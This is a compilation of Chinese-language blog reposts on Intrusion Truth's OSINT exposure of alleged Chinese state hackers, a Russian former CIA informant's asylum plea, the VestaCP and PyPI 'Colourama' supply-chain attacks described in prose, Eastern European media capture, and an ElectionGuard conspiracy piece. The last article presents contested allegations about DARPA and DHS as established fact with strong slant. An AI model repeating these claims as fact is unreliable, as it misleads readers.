这是一个最新崭露头角的组织。他们专注于挖掘与中国政府有关的黑客，并曝光这些黑客的真实姓名。这与我们支持的透明度革命的思路相符，并且他们的分析技术结合了我们主张的 **OSINT**，专业性相对较高。但真的没人知道他们是谁。我们关心的也不是这点

「图」

「图」

这里是中国天津一片面朝大路的灰色建筑群，看起来很普通。但是一个被称为“Intrusion Truth”的神秘组织根据优步收据和其他信息做出的最新揭露显示，至少有一位前往该地址的人是 APT10 的成员。**APT10** 是一家中国黑客部门，目标是从制造业、航空航天和工程公司窃取商业机密，包括来自美国的商业机密。

自 7 月底以来，Intrusion Truth 组织稳步发布了一系列涉嫌 APT10 黑客的名字，这是网络间谍活动中一个大胆而不同寻常的举动，因为运营商通常会保持匿名，网络安全公司只发布对广泛的受害者的描述。

Intrusion Truth 的代表在一封电子邮件中对媒体说：“我们将与公司、私人分析师、黑客、政府内部人士合作—只要他们能提供我们所需要的数据。无论他们是谁”。

中国多年来一直在破坏其他国家的制造业机密，盗取军事战斗机的原理图、和太阳能技术信息、以及其他工业宝藏。这种近乎不断的抨击最终迫使前总统奥巴马与习近平达成“协议”。2015 年的这项两国协议旨在：停止专注于窃取知识产权的骇客攻击。此后一段时间内网络安全研究人员看到中国的网络间谍活动大幅减少。然而，今年以来，

中国骇客窃取了海军承包商的敏感数据，并且在与美国贸易紧张局势加剧的同时，该国加大了入侵的力度。

这是一种广泛的工业间谍活动，但入侵的真相一直不能确定。

“知识产权盗窃是西方与其在线对手（主要是中国）之间的全球对抗。这种盗窃行为通过损失的收入和完全不公平的竞争来破坏努力工作的个人、他们的公司和整个经济体，“ Intrusion Truth 对媒体说。

“直到最近，中国一直在赢得胜利—它逍遥法外，利用商业骇客窃取数据和技术，但却声称是犯罪分子所为。商业骇客的使用是故意规避中国承诺的阻止这种非法活动的言论，“该组织补充说。

Intrusion Truth 首先发布了 APT 上的片段—高级持续性威胁; 对政府支持的骇客而言基本上是行业用语。一开始 Intrusion Truth 专注于另一个中国团体 APT3 。当时，根据公开的网站注册信息和其他数据，Intrusion Truth 称 APT3 曾经是 ‘Boyusec’，一家代表中国国家安全部（MSS）情报服务的软件公司。Intrusion Truth 还确定了两名特定人员的名字，Wu Yingzhuo 和 Dong Hao，Boyusec 的创始成员。似乎是作为一种回应，那之后 Boyusec 的网站就下线了。

果然，六个月后，美国司法部指控 Yingzhou, Hao, 和 Xia Lei,，他们是同样为 Boyusec 工作的三个中国人，涉及电脑黑客和其他相关犯罪。起诉书称欧洲制造业巨头西门子是该集团的受害者之一。骇客并没有被逮捕，但正如 Intrusion Truth 在指控报告中指出的那样，Boyusec 成员可能会发现现在更难以出国旅行，而不是会被拘留。（注：没有迹象表明是 Intrusion Truth 的帖子直接导致了美国的起诉书）。

根据网络安全研究人员的说法，经过一年的潜伏， Intrusion Truth 将目标转移到了 APT10，这是另一个中国网络间谍组织。

FireEye 的网络间谍分析高级经理 Ben Read 在 2009 年曾说过，“使它们（中国商业间谍骇客）与众不同的最突出一点就是它们的规模”。

多家网络安全公司已将 APT10 与美国、英国、印度和其他地区的受害者联系起来，包括矿业公司、多家 IT 服务提供商和制造公司。APT10 习惯于针对托管服务提供商（MSP）—向客户远程提供技术产品的公司—然后使用该特权访问来渗透其最终目标。

Intrusion Truth 发布了三名涉嫌 APT10 成员的名字。研究 **APT10** 运营的一位消息人士表示，其中一些名称与该组织的非公开信息重叠，以及 **Intrusion Truth** 称至少有一名黑客驻扎在天津。

Intrusion Truth 的帖子包括该组织如何确定其目标的详细信息，其中大部分似乎依赖于网络安全公司已经公开的报告、黑客基础设施到电子邮件地址，然后是社交媒体帐户和其他在线记录—— 也就是我们一直在演示的 "OSINT—开源调查技术"。

而且其中一个细节很有意思，由于该组织使用了目标人的 Uber 数据，分析认为，这需要闯入目标人的 Uber 账户，或以其他方式拦截他们对该应用的使用。于是这有可能涉及黑客技术。但也确实就是在系统性情报收集的范围之内的，见下图，这是我们在 OSINT 其中一篇技术演示中所使用的文头图，其中每一个部分都有其独特的能力：

「图」

「图」

当被问及这些具体数据时，Intrusion Truth 告诉媒体：“我们不会评论我们的材料来源，只需要确定我们发布的所有内容都是真实的。”—— 这就是 **Wikileaks** 引导的全球透明度革命的主体思路。

在其天津的帖子中，Intrusion Truth 写道“一位不喜欢公开姓名的分析师“。

发布政府级骇客组织报告的网络安全公司可能会向其客户提供骇客的真实姓名，但通常不会公开发布。

就如威胁情报公司 RecordedFuture ，其高级总监 Andrei Barysevich 在本月早些时候举行的年度黑帽网络安全会议上表示，该公司唯一一次公布姓名是与执法部门直接合作。法律问题也是一个问题—指责某人是政府黑客，并且在某些情况下可能是犯罪分子，如果没有有力的证据可能会使公司陷入诽谤案件。

而授予匿名保护并免于商业责任的 Intrusion Truth 正在采取另一种方法。

“我们直接挑战这种非法和不公平的活动，揭露责任人，指出骇客本人，并找出隐藏在他们背后的机构。我们将持续采用我们的方法，并且已经有一个庞大的分析师网络与我们合作，“ Intrusion Truth 在给媒体的邮件中称。

这种方法可能是有价值的。2014 年，美国司法部起诉五名中国军方黑客对几个美国目标进行网络间谍活动。但这可能不是中国进入谈判桌的唯一原因，而且该国的网络间谍活动已经平息。

“如果你认为奥巴马和习近平签署的协议产生了影响，那就是命名和羞辱以及制裁对国有企业和高层官员的终极威胁的结合，最终导致的结果，“外交关系委员会数字与网络空间政策项目主任对媒体说。“如果你认为缓解是暂时的，在解放军的网络部队重组的推动下，那么就会像我一样，认为鉴于北京的战略和经济利益，中国的工业网络间谍活动将继续下去 ”。

媒体认为，引发中国黑客攻击政策的宏观转变并不一定是 Intrusion Truth 的目标。相反，它更多的是影响那些他们设法揭露的特定黑客。

他们告诉媒体：“我们希望代表中国国家的黑客能够对他们的非法在线活动三思而后行，就像在他们面前的 APT1 和 APT3 黑客那样，他们在国外旅行或在中国境外获得私人工作的机会会大大减少，他们会冒着被外国执法机构起诉的风险”。APT1 指的是一个网络安全组织，FireEye 公司在 2013 年证明其与一个特定的中国军事单位有联系。

目前尚不清楚 Intrusion Truth 的背后是谁。但在一个帖子的标题中，该组织询问哪个中国团体正在窃取“我们的知识产权”，指的是 APT3 在英国和美国的黑客行为。毫无疑问，Intrusion Truth 拒绝提供其成员或身份的具体信息，但他们确实声称自己是由“分析师”组成的。

“我们“，这是个有意思的词。

该组织说：“今年加入我们的个人将 Intrusion Truth 的作品比作’黑骑士’的作品，他们不得不用黑色油漆涂抹盔甲来掩盖他们的隶属关系并保护身份。但是太多的人都专注于我们的颜色了（而不是所做的事）“

“我们永远不会为自己或与我们合作的人命名。我们在网络空间中挑战中国卑鄙活动的能力正是源于我们的匿名，“他们补充道。“我们愿意说实话。”

由于该组织的帖子中多次使用汉字，而且是简体汉字，显示他们中应该有懂中文的人，加之他们对中国的了解，一般外国人做不到。但是，在中国国内，具有透明度革命的态度和包括 **Osint** 在内的技术能力的人，几乎不会在民间出现（技术人士极有可能被当局吸纳）。

中国社会一直以来严重缺乏的就是对技术反抗之价值的认识，以及相关能力。于是我们推测，该组织很可能不在中国。既然其声称由分析师组成，说明拥有一定的资金储备，那么在中国的可能性就会更低，众所周知在中国获得资金的难度，以及关键资源的被掌握范围。

当然了，该组织究竟是谁根本无关紧要，我们只需要关注其发布的内容的真实性。虽然这种反抗能出现在中国是我们一直所期待的，也是为什么我们的博客专注于多方面的技术供给。

推荐关注 Intrusion Truth，也许今后他们还会有更多精彩的内容提供。〇

原文

一个非常惊人的故事：为 CIA 工作过的俄罗斯人正在遭遇迫害，美国会在乎吗？ - iYouPort

地缘政治

本文的作者 Yevgeny Chistov 是一名在俄罗斯的 CIA 间谍，是俄罗斯反对派。现在他的家人正在陷入危险，申请旅美政治避难却被拒绝。他呼吁美国政府的帮助。以下是他的文章。

「图」

「图」

我一直在按照敌人的敌人是朋友的逻辑行事。

美国可能是俄罗斯的敌人，我非常爱我的国家，但我认为这个俄罗斯政府是俄罗斯人民的敌人。弗拉基米尔·普京和他的亲信掠夺了我们的国家，并压迫其人民。腐败和勒索就在每个人的身边。俄罗斯人感到害怕，并且担心国家的镇压。我们有一个资源丰富的国家，但我们的人民很穷。

所以我决定以朋友的身份帮助美国。

在俄罗斯内政部担任警官期间，我开始向中情局特工传递信息。我告诉他们有关该部的秘密计划，给他们一些 FSB 的人的名字，并揭示了俄罗斯国防部的一些目标。

- 关联：关于俄罗斯最高情报机构 FSB《普京的秘密服务：克里姆林宫如何控制 FSB—— 俄罗斯情报机构联邦安全局》

我觉得我可以在美俄的这场斗争中帮上忙。我相信，除非普京政权被推翻，否则俄罗斯人民不会有任何好日子。

然后，我被捕了。

四年前，我被逮捕并被关押在莫斯科的 Lefortovo 监狱—这里是政治犯的首选目的地。条件非常糟糕。我被关在一个冰冷的房间里，冬天也没有任何取暖设备。没有适当的医疗护理。我受到 FSB 官员的欺辱，他们威胁要设置一场意外事故来杀死我。我已经患上了神经症。

自2016年3月起我一直被关押在 Nizhny Novgorod 区，我和其他十几个男人挤在一个牢房里，他们用腐烂的白菜给囚犯做汤。我向欧洲人权法院抱怨过度拥挤等问题。我的申诉正在被考虑中。

我被因“叛国罪”等罪行判处了13年徒刑，他们称我为了金钱出卖机密情报，但这不是事实。在我因帮助美国而被逮捕之后，我和我的家人在俄罗斯处于极大的危险之中。但我相信唐纳德特朗普可以提供帮助。

在俄罗斯，有些人像我一样，冒着生命危险，帮助美国政府和情报部门，而最终入狱。在美国，也有人因为为俄罗斯工作而正在监狱里。我想呼吁总统关注这件事。

我的父母都是养老金领取者，家中经济困难。我的母亲不得不重新开始工作，因为他们的养老金里不包括他们必需的医药费。

我的妻子已经接受过 FSB 的质问。她前往美国驻乌克兰大使馆获得旅游签证。但是她的申请遭到了拒绝，她被迫返回家园，军事人员袭击她并恐吓她。我已经给中央情报局写了两封信，要求他们提供帮助，但没有收到任何答复！

如果能在美国，我的家人就可以安全地生活。我敦促特朗普在美国给予我的妻子和母亲庇护。

“I was a CIA spy in Russia—and now my family is in danger. But Trump can help“. In Russia there are people who, like me, risked our lives to help the US, and in the US there are people imprisoned for helping Russia. Trump can conduct an exchange

原文

一周内两起供应链攻击：严重的状况已经不容小视 - iYouPort

地缘政治

一般情况下，用户都不会怀疑受信任的开发人员或供应商会在安装软件或更新时发起攻击。用户一般认为，只要软件供应商值得信赖，那他们的产品也一定没有安全问题。而攻击者正是利用了这个心理，发起了所谓的“供应链攻击”

「图」

「图」

随着网络安全防护技术的提高，攻击者要想再利用原来的攻击技术来获得成功，就越来越难了。为此，黑客也正在琢磨着提高他们攻击成功率的方法，例如，利用用户对软件供应商的信任。

一般情况下，用户都不会怀疑受信任的开发人员或供应商会在安装软件或更新时发起攻击。用户一般认为，只要软件供应商值得信赖，那他们的产品也一定没有安全问题。而攻击者正是利用了这个心理，发起了所谓的“供应链攻击”。在安装软件或更新时，用户时刻都要仔细检查源代码站点，以确保它是合法的。只有这样，才能让代码放心的在我们的计算机上运行。随着开发人员对软件和网页的防护能力越来强，所以在过去几年中，黑客已越来越多的利用这种供应链信任来传播恶意软件。

在不到一周的时间里（10 份的第二周），研究人员新发现了两起新的利用供应链进行攻击的事件。

第一个涉及到 VestaCP，一个系统管理员用来管理服务器的控制面板界面。Censys 执行的互联网扫描显示，目前有超过 132000 个未过期的TLS证书可以保护 VestaCP 用户。根据安全公司 Eset 上周四发布的一篇帖子，有未知的攻击者破坏了 VestaCP 服务器并利用他们的访问

权限对可下载的安装程序进行了恶意更改。

注：Censys 是一款用以搜索联网设备信息的新型搜索引擎，安全专家可以使用它来评估他们实现方案的安全性，而黑客则可以使用它作为前期侦查攻击目标、收集目标信息的强大利器。

供应链攻击过程

Eset 恶意软件研究员 Marc-ÉtienneM.Léveillé 告诉 Ars："VestaCP 安装脚本被攻击者修改后，可以在安装成功后向 vestacp.com 报告生成的管理员凭证。我们并不确切知道这种情况是何时发生的，但修改后的安装脚本在5月31日至6月13日期间，已经出现在了 GitHub 上的源代码管理中"。

目前，对这个攻击还在进一步研究中，在调查完成之前，仍然不清楚攻击是如何发生的。根据 Léveillé 的初步调查结果，黑客最有可能通过利用 VestaCP 软件或用于传播它的服务器中的关键漏洞开始的，这使得攻击者可以自行控制攻击过程。也就是在此期间，攻击者将密码嗅探函数添加到安装源代码中。此时，VestaCP 软件已经包含了从用户服务器向 vestacp.com网站发送统计信息的代码。

Léveillé 认为恶意代码只是添加了一些难以解密的代码行，这些代码行导致密码被包含在其中。然后，攻击者利用他们对 VestaCP 网络的控制来检索被盗密码。研究人员说，虽然这种方法更复杂，但安全检测方案更难在源代码中检测到恶意代码。对此，Leveille 说，攻击者可能会使用密码通过其安全 shell 界面登录服务器。

使用 SSH，攻击者就可以用 ChachaDDoS 感染服务器，ChachaDDoS 是一种相对较新的恶意软件，用于对其他网站进行拒绝服务攻击。该恶意软件提供了各种高级功能，包括防止管理员在服务器上查找和分析它的方法。Chacha运行在32位和64位 ARM，x86，x86_64，MIPS，MIPSEL 和 PowerPC 上。在10份的23号，安全公司 Sophos 的研究人员公布了一个新发现的 DDoS 僵尸网络，他们称之为 Chalubo，几乎可以肯定它运行的是 Eset 描述的 Chacha 恶意软件。

对 VestaCP 供应链的攻击最少有14天了（按10月24截止），因为源代码中记录时间是14天。类似的帖子显示，VestaCP 用户早在4月初就报告了服务器遭到黑客攻击，这比 Eset 列出的5月31日早了近两个月。类似这样的讨论表明，在6月13日恶意修改的代码从源代码中删除之后，影响 VestaCP 用户的攻击仍在继续。

利用 ClipboardHijacking 软件潜入 PyPI

第二个供应链攻击涉及一个恶意软件包，该软件包已被插入到了广泛使用 Python 编程语言官方存储库中。被称为“Colourama”的软件包看起来与 Colorama 类似，Colorama 是 Python 存储库中下载量最多的 20 个合法模块之一。

doppelgängerColourama 软件包包含合法模块的大多数合法函数，但与 Colorama 有一个显着区别：Colourama 添加的代码在 Windows 服务器上运行时安装了这个 Visual Basic 脚本。它会不断监控服务器的剪贴板，以获取用户将要支付加密货币的线索。恶意脚本触发后，该脚本会将支付信息从剪贴板中包含的钱包地址转移到攻击者拥有的钱包。

这已不是 Python 的官方 PyPI 存储库第一次被滥用来执行此类社交工程攻击。2016 年，一名大学生的本科论文使用了同样的技术，让未经授权的 Python 模块在 17000 多个独立的域中执行了超过 45000 次，其中一些域属于美国政府和军事组织。一年后，PyPI 再次被包含恶意(但相对良性)代码的代码包所攻击。

在过去的六个月里，隐藏在 PyPI 的 ClipboardHijacking 软件已被下载了171次(不包括镜像站点)，其中有55次是在9月份。被感染的服务器不仅必须删除恶意的 Colourama 模块，还必须进行注册表更改以清除 Visual Basic 脚本。

勒索软件 NotPetya

根据目前所掌握的证据，两个新发现的供应链攻击都没有发生大规模的感染。但这并不代表供应链攻击的威力不大，在 2017 年爆发的 NotPetya 攻击，已被专家形容为一种网络战争。在出现数小时之内 NotPetya 就蔓延到了乌克兰以外，感染到全世界的计算机，从宾夕法尼亚的医院到塔斯阿尼亚岛的巧克力工厂的无数设备都被攻击到，给每一家都造成了9位数的损失。病毒甚至还传播回俄罗斯，给国营石油公司俄罗斯石油造成打击。

据美国白宫估计，其结果就是超过100亿美元的总损失。它是通过 M.E.Doc 的合法更新模块开始传播的，这是一种在乌克兰广泛使用的税务会计应用程序。研究人员表示，最初的攻击可能需要访问 M.E.Doc 源代码并控制公司的网络，不过随后的应用程序版本中的一套传播工具让其全球范围内迅速传播。

在 2017 年，另一个恶意软件又爆发了，这个爆发也是利用的供应链发起的，利用的是许多人用来管理硬盘驱动器的 CCleaner 实用程序。这次攻击首先感染了用于开发和传播该实用程序的网络，然后，攻击者使用他们的后台控制，感染了注入恶意代码 CCleaner 版本的 227 万台计算机。奇怪的是，在这些被感染的计算机中，只有大约40台计算机获得了第二阶段的有效载荷，这些计算机托管在12家公司的网络中，包括三星(Samsung)、华硕(Asus)、富士通(Fujitsu)、索尼(Sony)和英特尔(Intel)。

供应链攻击在将来会更加普遍，如果可能的话，用户应该考虑扫描所有下载的安装程序和更新，并密切关注其名称的变化，以确保它们与自己要安装的合法模块相匹。■

原文

三四个寡头如何绑架了政府？ - iYouPort

地缘政治

新闻业在东欧是一项危险的工作。匈牙利和捷克共和国已经展示了这样一种恐怖的景观：三四个寡头能够使政府几乎完全被束缚。

「图」

「图」

‘我的材料很好，而且我不想把它放在家里，因为我觉得不安全。’十二个小时后，有人闯进了我的公寓。他们拿走了我的电脑，相机，录音机，闪存卡。好吧，也许这只是一次普通的抢劫，但是……哇！……当时这位捷克记者正在制作一部关于司法系统腐败的纪录片。上述是他一周前的遭遇。

就在同一周，Sodomkova 读到有关斯洛伐克记者 Jan Kuciak 被谋杀的案件，被害前他一直在调查针对与斯洛伐克政府最高级别领导人有联系的顶级商人的税务欺诈的指控。

曾为该国最大的报纸之一 Mlada fronta DNES 工作了七年的 Sodomkova 突然被告知，她的故事太漫长而复杂，无法被采用。“你为什么不写关于食物或时尚的文章呢？”编辑建议她说……“我注意到了操纵：人们被列入了黑名单，所以我们无法采访他们。”

最终，她的老板直截了当地告诉她：“现在有新的规则，如果你不适应新的规则，你将被解雇！”这完全是曾经共产主义时代的事，你知道吗？！

据位于布达佩斯的媒体、数据和社会中心（CMDS）主任马里乌斯·德拉戈米尔称，整个东欧的新闻自由受到侵蚀的现象已经确立，但捷克共和国的情况是前所未有的。“你总能找到政客或政党与购买媒体的公司之间的紧密关系，但你从来不会看到一位总理在办公室直接坐在办公室里控制媒体。”简单说就是，审查的隐性的，不像中国那样有

明确的禁令。

浏览 CMDS 网站显示，Babis 积极参与由各种寡头控制的投资公司网络，这些寡头受益于2008年金融危机的后果，当时主要是德国公司在捷克共和国出售其媒体资产。“所有这些人几乎控制着一切。除此之外，总理控制着一大块巨大的财富。他控制着最大的出版社，他控制着该国最大的广播电台，而他在一个月前刚买了另一家出版商。”

匈牙利的故事也非常类似：在这里，与总理维克多·欧尔班（Viktor Orban）友好相处的寡头们在西方公司离开时搬进来，在过去的三四年中接管了该国几乎所有的媒体。德拉戈米尔说，他们这样做，就像在后共产主义时代所有需要国家执照的行业都被政治家和商人之间的这种密切联系所征服一样：“在共产主义与寡头模式联系起来之后，所有与国家创造方式有关的一切都会被征服，媒体显然是其中最重要的组成部分。”

“我们认为这很困难，但是匈牙利的案例足够显示，使用三四个寡头来实际购买国内的所有东西是可能的，从主流媒体开始，甚至到地方一级的—当地报纸，基本上是一切“ 。其结果就是，对内容的影响一直是“灾难”。“任何形式的监测都显示出亲政府的倾向非常明显，但更重要的表现是反对政府的敌人，比如美匈牙利出生的美国金融家乔治索罗斯。这一切都以非常歪曲和偏见的方式进行。”

顺便提一下，所有这一切都发生在欧盟的核心，因为成员国遵守辅助性原则，这意味着他们有权管理自己的媒体法。布鲁塞尔实际上无能为力，无法提供政治抗议声明，无法期待反托拉斯法可以打破束缚。

How oligarchs captured Eastern Europe’s media? Journalism is a dangerous job in Eastern Europe. Hungary and the Czech Republic have shown how three or four oligarchs can hand the government an almost total stranglehold.

原文

不流血的政变：军事工业综合体接管选举 - iYouPort

地缘政治

“我们正在将美国民主的关键交给军工综合体 —— 这就像把鸡舍的钥匙交给狐狸，并且说，‘随便进，随便拿走你想要的任何东西’。这显然很危险。”—— 调查记者 Yasha Levine

---

「图」

「图」

五月份，科技巨头微软宣布了其“保护”美国选举免受干扰的解决方案，并将其命名为 “ElectionGuard”。

该选举技术已经被半数投票机制造商和一些州政府用于2020年大选。

虽然此后几周内这玩意得到了主流媒体大力推广，但是，这些报道都没有透露 ElectionGuard 有几个明显的利益冲突，极大地破坏了其旨在保护民主的主张。

在这项调查中，MintPress 将揭示 ElectionGuard 是如何由与国防和情报界以及以色列军事情报机构有密切联系的公司开发的；以及为什么这项技术很难防止外国或国内对选举的操纵和其他方面的事实。

选举取证分析师和作家 Jonathan Simon 以及调查记者 Yasha Levine，就军队长期以来寻求武器化包括互联网在内的公共技术之问题进行了广泛的分析，并就 ElectionGuard 与军事工业综合体的联系以及这些联系对美国民主的影响作为调查的一部分进行了解读。

今年1月，MintPress 发布了一篇博文，揭露了一家名为 Newsguard 的新闻评级公司。

该公司声称其旨在打击所谓的“假新闻”，而该公司与情报部门有密切

联系，它是一个顶级的新保守主义智囊团，以及自我承认的政府宣传员，其真正意图是推动企业媒体并压制独立媒体。

详见《媒体巨头和硅谷的武器化算法沉默异议》

这个 Newsguard 正是微软所谓的“捍卫民主”计划的首批举措之一。

通过与微软的合作，Newsguard 已经安装在全国的公共图书馆和大学中，即使目前为止私营公司仍在努力避免采用这种有问题的浏览器插件。

现在，微软正在推动一项新的倡议 —— 一项同样存在明显利益冲突的倡议 —— 以 Newsguard 永远无法实现的方式威胁美国民主。

ElectionGuard 被微软吹捧为一个系统，旨在“使投票更安全、更便捷、更高效；在美国和世界各地的国家使用。”

自那时起，主流媒体和政府资助的媒体就开始大力推动它在2020年大选中的使用。

更多：《选举运动的数字化斗争: 2020 Presidential Race》

然而，根据选举取证分析师、“红色代码：计算机化选举和美国民主战争”的作者 Jonathan Simon 的说法，这场公关运动可能只是为了让更多内部人操纵美国选举。

“提议保护选举是对的，但不幸的是，提议的解决方案只是更多的计算机化和复杂性 —— 这将转化为专家和内部人员的更多控制”，他说。

至于这些内部人士的可能身份 —— 微软的 **ElectionGuard** 是与私人军事和情报承包商共同开发的，其唯一的投资者是美国国防部，这提供了令人不安的线索。

因此，ElectionGuard 对“安全”选举的承诺是可疑的，特别是考虑到微软本身就是大牌的军事承包商。

此外，在以色列干涉外国选举的丑闻中，微软与以色列军事情报局和以色列私人网络技术公司的关系日益密切，更令人担忧的是，ElectionGuard 的真正目的是“确保”能选举出于对该机构友好的候选人，尤其是军工综合体。

延伸：《干预外国选举的状元是谁？》

「图」

「图」

分析这个 **ElectionGuard**

根据微软副总裁 Tom Burt 于5月初发布的公告，ElectionGuard 被称为“一个免费的开源软件开发工具包（SDK）”、“将使投票更安全，更易于访问，更高效地被使用”。

Burt 的声明进一步声称，ElectionGuard 系统“将实现选举的端到端验证，向第三方组织公开结果以进行安全验证，并允许个人选民确认其投票得到了正确计算。”

虽然 ElectionGuard 似乎只关注电子选票，但该公告声称该系统“旨在通过使用光学扫描仪与使用纸质选票的系统配合使用”。

值得注意的是，微软在选择宣布 ElectionGuard 之前，它已经与主要的选举技术供应商合作，他们正在探索将 ElectionGuard 整合到他们的投票系统中。

Burt 进一步指出，微软现在与选举技术供应商建立了合作伙伴关系，这些供应商负责在美国销售超过一半的投票机。

ElectionGuard 的合作伙伴公司包括 Democracy Live，Election Systems＆Software，Hart InterCivic，BPro，MicroVote 和 VotingWorks。

微软公告中另一个有趣且令人深感不安的信息是，微软的 ElectionGuard 开发合作伙伴、位于波特兰的网络安全公司 **Galois**，“最近从五角大楼的国防高级研究计划局（**DARPA**）获得了**1000**万美元的资金，用于建立一个示范投票系统，以帮助评估 DARPA 研究人员正在开发的硬件，作为单独的 DARPA 计划的一部分。”

微软的声明随后指出，“该机构计划实施 ElectionGuard SDK，作为他们在未来版本的示范投票系统中实现端到端可验证组件的努力的一部分。”

正如 DARPA 对 ElectionGuard 的1000万美元间接投资所显示的那样

令人深感不安，但这只是表面上看，因为 **Galois** 本身实际上就是 **DARPA** 在私人网络安全行业的延伸。

这家所谓的“私人”公司的唯一投资者是五角大楼

Galois 由 John Launchbury 于1999年创立，很快就接近了众多政府机构，现在 —— 根据 Galois 网站的介绍 —— 政府机构构成了该公司绝大部分客户。

事实上，Galois 目前只在其“客户”部分列出以下美国政府机构：DARPA、国防部、能源部、国土安全部、“情报社区”（即 中央情报局、国家安全局等）和美国宇航局。

然而，Galois 的其他客户还包括美国顶级武器制造商通用动力公司。

Galois 表示，该公司的重点是先进计算机科学的研究和开发；它还涉及人工智能、人机交互和机器学习。

虽然它将自己描述为“私营公司”，但是，公开记录显示，**Galois** 的唯一投资者是 **DARPA** 和海军研究办公室（**ONR**）—— 两者都是国防部的部门。

换句话说，虽然表面上是一家私营公司，但是它唯一的投资者是政府机构，更具体地说是五角大楼。

然而，该公司与 DARPA 的关系更进一步。

该公司的创始人兼首席科学家 John Launchbury 于2014年离开 Galois，先是担任项目经理，随后担任 DARPA 信息创新办公室主任，负责处理“国家级网络安全和人工智能投资”。

2017年，他离开 DARPA，回到 Galois 工作，担任该公司的首席科学家。

DARPA 的信息创新办公室的官方声称之目的是为国家安全问题开发先进技术，但是，它也侧重于加强“人/机伙伴关系”。

一家名为 Free＆Fair 的 Galois 子公司，专门开发选举技术，与微软合作生产 ElectionGuard。

Free＆Fair 的官方网站列出了其合作伙伴，包括：DARPA、微软、投票机制造商 VotingWork、投票统计软件开发商 Verificatum、科罗拉

多州政府、和OSET（开源选举技术）研究所。

VotingWorks 是一家“非营利性”投票机制造商，由前 Mozilla 工程总监创立，并与民主与技术中心（CDT）密切合作。

除科罗拉多州外，明尼苏达州等其他已经州也与微主”计划合作，但目前尚不清楚他们是否已采纳或计划采用 ElectionGuard 作为合作伙伴关系的结果。

「图」

「图」

A technician prepares paperless digital voting machines for use in elections in Philadelphia. Matt Rourke | AP

根据 CDT 的 VotingWorks 公告：

> “CDT 将成为 VotingWorks 的家，直到它成为自己的非营利实体。这种合作关系意味着 VotingWorks 正在与 CDT 经验丰富的团队密切合作，以迅速提升运营……”

CDT 的总裁兼首席执行官是 "Nuala O’Connor"，他曾经是亚马逊的副总裁，之后成为 **CDT** 总裁。

O’Connor 还曾担任美国国土安全部的首席隐私官，并曾在通用电气和美国商务部工作。

CDT 的董事会成员包括：奥巴马的白宫前副知识产权执法协调员和 Apple 的现任首席法律顾问 Philippa Scarlett、微软公司副总裁 Julie Brill 、和 Mozilla 的全球政策副总裁 Alan Davidson。

然而，更令人不安的是其咨询委员会成员，其中包括：兰德公司、沃尔玛、Verizon、Charles Koch 研究所、Facebook、和美国企业公共政策研究所（AEI）的代表。

MintPress 的读者很可能熟悉 AEI，这是最著名的新保守派智库之一，以雇用 John Bolton 和 Paul Wolfowitz 等人而闻名。Newsguard 的联合创始人之一 Louis Gordon Crovitz 也隶属于 AEI。

Free＆Fair 的另一个合作伙伴是开源选举技术研究所（OSET

Institute，OSETI），其旗舰计划被称为 “TrustTheVote”。

OSETI 的联合创始人之一及其现任首席技术官是 E. John Sebes，他之前曾为 国防高级研究计划局 **DARPA** 和国土安全部 **DHS** 工作过。

OSETI 的战略顾问团队包括： John S.的 Chris Barr 和 James L. Knight 基金会，后者是 Newsguard 的最大投资者；前俄勒冈州州务卿 Phil Keisling；美国国家安全局前副主任 William Cromwell；国土安全部网络安全理事会前负责人和前 DARPA 项目经理 Doug Maughan；新保守派美国企业研究所的 Norm Ornstein 以及 AEI-Brookings 选举改革项目的联合主任。

除了与寡头企业、政府机构和新保守派智囊团的众多联系之外，**Free＆Fair** 还与国土安全部 **DHS** 密切联系。

这是因为，在**2016**年大选之前、期间和之后，国土安全部"被抓到试图黑入"至少三个州的州选举系统 —— 乔治亚州、印第安纳州和爱达荷州 —— 同样在肯塔基州和西弗吉尼亚州"也有类似的指控"。

"在印第安纳州的情况下"，国土安全部的骇客攻击企图在**46**天内发生了将近**15,000**次。

在回应中国土安全部最初否认支持骇客攻击的企图，后来又回应说，这是“合法业务”，目的是“核实由国家管理的专业许可证”。

在2016年大选之前，DHS 所针对的一些州拒绝了该部门提出的“支持”选举系统的提议。

据称的俄罗斯入侵迄今为止只包括 FBI 声称的与俄罗斯军事情报有关联的黑客入侵佛罗里达州两个县的选民登记数据。

根据联邦调查局官员的说法，目前还没有任何证据可以公开发布，也没有导致对这些系统的数据的任何改变。

相比之下，国土安全部试图黑入系统，针对的不是个别县，而是整个州，并承认自己是这样做的，即使他们选择没有使用骇客”概念并为其活动辩护。

虽然专注于外国—尤其是俄罗斯—的干涉可能会带来一个更加爱国的故事，但对国内骇客所构成的危险似乎被媒体严重低估了，并且几乎被忽视。

Free＆Fair 与 DHS 相关团体的合作关系似乎进一步破坏了其“提供安全和值得信赖的选举技术”的使命，此外还有其母公司与国防部，特别是 DARPA 的深厚联系。

Yasha Levine 是科技调查记者，也是《监视谷》的作者，在这里看到这本书的中文版分析《互联网究竟是什么？—— 来自“监视谷”惊人的启示》。

他向 MintPress 解释了为什么 DARPA 可能会对像 ElectionGuard 这样的美国选举系统软件感兴趣，以及为什么该机构的利益对美国民主是危险的：

“选举制度现在越来越多地被视为竞争国家之间战争的战场。

因此，如果你是 DARPA 并且你的存在理由是为未来创造高科技武器，那么你肯定要把电子投票系统视为一个战场，在那里，该国可能会受到外国对手的攻击。这就解释了为什么 DARPA 要参与其中。

但 DARPA 和其中一些涉及到的公司也被视为美国人民的意志的敌人……

我们可以假设真正发生的事和他们的意图是什么，但是显然，五角大楼的战争研发实验室不应该在美国的选举系统附近，因为它代表了美国政治体系中一个巨大而强大且不负责任的力量，其利益经常与民主背道而驰。

事实上，我们正在将美国民主的关键交给军工综合体 —— 这就像把鸡舍的钥匙交给狐狸一样，说，’随便进，拿走你想要的任何东西。’这显然很危险”……

「图」

「图」

Former Defense Secretary Chuck Hagel inspects projects of the Defense Advanced Research Projects Agency (DARPA) April, 2014, at the Pentagon. (AP/J. Scott Applewhite)

从精神控制到投票控制？

值得简要描述为什么 DARPA 在 Galois 的角色令人担忧。

这主要源于 DARPA 目前正在开发噩梦般的“终结者”技术 —— 包括"将芯片植入士兵的大脑"、用"机器人士兵"取代大多数人类士兵、创造"杀手“终结者”机器"人 —— 以及自动人工智能定位系统，使用社交媒体来瞄准潜在目标。

2015年，监督“超级士兵”计划的 DARPA 分支国防科学办公室（DSO）当时的主管 Michael Goldblatt 告诉记者，他认为“在你的大脑中有一块可以控制行为的芯片和一个帮助聋人听到的人工耳蜗之间没有区别”。

当被迫评论这种技术的意外后果时，Goldblatt 表示“所有事情都会产生意想不到的后果……”

